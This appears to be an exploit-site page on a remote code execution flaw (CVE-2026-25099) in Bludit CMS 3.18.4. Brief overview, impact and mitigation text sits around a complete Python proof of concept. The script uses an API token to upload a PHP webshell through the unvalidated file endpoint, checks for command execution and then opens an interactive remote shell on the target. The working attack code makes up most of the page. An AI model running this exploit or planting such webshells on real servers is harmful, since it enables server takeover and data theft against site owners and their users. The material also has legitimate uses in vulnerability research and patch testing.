Skip to main content

Bludit CMS 3.18.4 – RCE

Categories: WebApps

Overview

The recently discovered CVE-2026-25099 vulnerability in Bludit CMS version 3.18.4 poses a critical risk as it allows for remote code execution (RCE). This flaw can be exploited by attackers to execute arbitrary code on the server, potentially leading to full system compromise. Bludit, a popular flat-file content management system, is widely used for its simplicity and ease of deployment, making it an attractive target for cybercriminals.

Technical Details

The vulnerability arises from insufficient validation of user input within specific administrative functionalities of Bludit CMS. Attackers can craft malicious payloads that are executed by the server when certain parameters are manipulated, particularly through the upload feature. By exploiting this flaw, an attacker can upload a malicious script disguised as a benign file, allowing them to execute arbitrary commands on the server.

For instance, an attacker might upload a PHP shell that grants them access to the server’s file system, enabling further exploitation, data theft, or even the installation of additional malware. The lack of stringent security measures around file uploads significantly amplifies the risk associated with this vulnerability.

Impact

The potential consequences of exploiting CVE-2026-25099 are severe. Successful exploitation could lead to unauthorized access to sensitive data, website defacement, or the complete takeover of the affected server. This not only jeopardizes the integrity of the Bludit installation but also compromises the data of users and visitors, leading to significant reputational damage and legal ramifications for the affected organization.

Mitigation

To protect against this vulnerability, it is imperative for users of Bludit CMS to immediately update to the latest version that addresses the CVE. Regularly monitoring and applying security patches is crucial in maintaining a secure environment. Additionally, implementing strict input validation and file type restrictions can significantly reduce the risk of RCE vulnerabilities.

Security professionals should also consider employing a web application firewall (WAF) to help filter and monitor HTTP requests, thereby blocking malicious traffic before it reaches the application. Regular security audits and penetration testing can further enhance the security posture by identifying potential vulnerabilities before they can be exploited.

Proof of Concept (PoC)

poc.py
# Exploit Title: Bludit CMS 3.18.4 -  RCE
# Date: 2026-03-28
# Exploit Author: Yahia Hamza (https://yh.do)
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip
# Version: Bludit < 3.18.4
# Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3
# CVE: CVE-2026-25099
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"

import argparse
import requests
import sys
import random
import string


def get_page_key(base_url, token):
    """Retrieve a valid page key from the Bludit API."""
    try:
        r = requests.get(
            f"{base_url}/api/pages",
            params={"token": token},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("data") and len(data["data"]) > 0:
                return data["data"][0]["key"]
    except requests.RequestException as e:
        print(f"[-] Connection error: {e}")
    return None


def upload_shell(base_url, token, page_key):
    """Upload a PHP webshell via the unrestricted file upload endpoint."""
    shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'

    try:
        r = requests.post(
            f"{base_url}/api/files/{page_key}",
            data={"token": token},
            files={"file": (shell_name, shell_content, "application/x-php")},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("status") == "0":
                shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                return shell_url, shell_name
    except requests.RequestException as e:
        print(f"[-] Upload error: {e}")
    return None, None


def execute_command(shell_url, cmd):
    """Execute a command via the uploaded webshell."""
    try:
        r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
        if r.status_code == 200 and "<pre>" in r.text:
            return r.text.split("<pre>")[1].split("</pre>")[0].strip()
    except requests.RequestException:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
    parser.add_argument("-t", "--token", required=True, help="Bludit API token")
    parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")

    print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
    print(f"[*] Target: {base_url}")

    # Step 1: Get page key
    print("[*] Retrieving page key...")
    page_key = get_page_key(base_url, args.token)
    if not page_key:
        sys.exit("[-] Failed to retrieve page key. Check URL and token.")
    print(f"[+] Page key: {page_key}")

    # Step 2: Upload webshell
    print("[*] Uploading webshell...")
    shell_url, shell_name = upload_shell(base_url, args.token, page_key)
    if not shell_url:
        sys.exit("[-] Upload failed.")
    print(f"[+] Shell uploaded: {shell_url}")

    # Step 3: Verify RCE
    print("[*] Verifying RCE...")
    test = execute_command(shell_url, "id")
    if not test:
        sys.exit("[-] RCE verification failed. Shell may not be accessible.")
    print(f"[+] RCE confirmed: {test}")

    # Step 4: Execute command or interactive shell
    if args.command:
        output = execute_command(shell_url, args.command)
        if output:
            print(output)
    else:
        print("n[+] Interactive shell (type 'exit' to quit)n")
        while True:
            try:
                cmd = input("shell> ")
                if cmd.strip().lower() in ("exit", "quit"):
                    break
                if not cmd.strip():
                    continue
                output = execute_command(shell_url, cmd)
                if output:
                    print(output)
                else:
                    print("(no output)")
            except (KeyboardInterrupt, EOFError):
                break

    print(f"n[*] Shell: {shell_url}")


if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...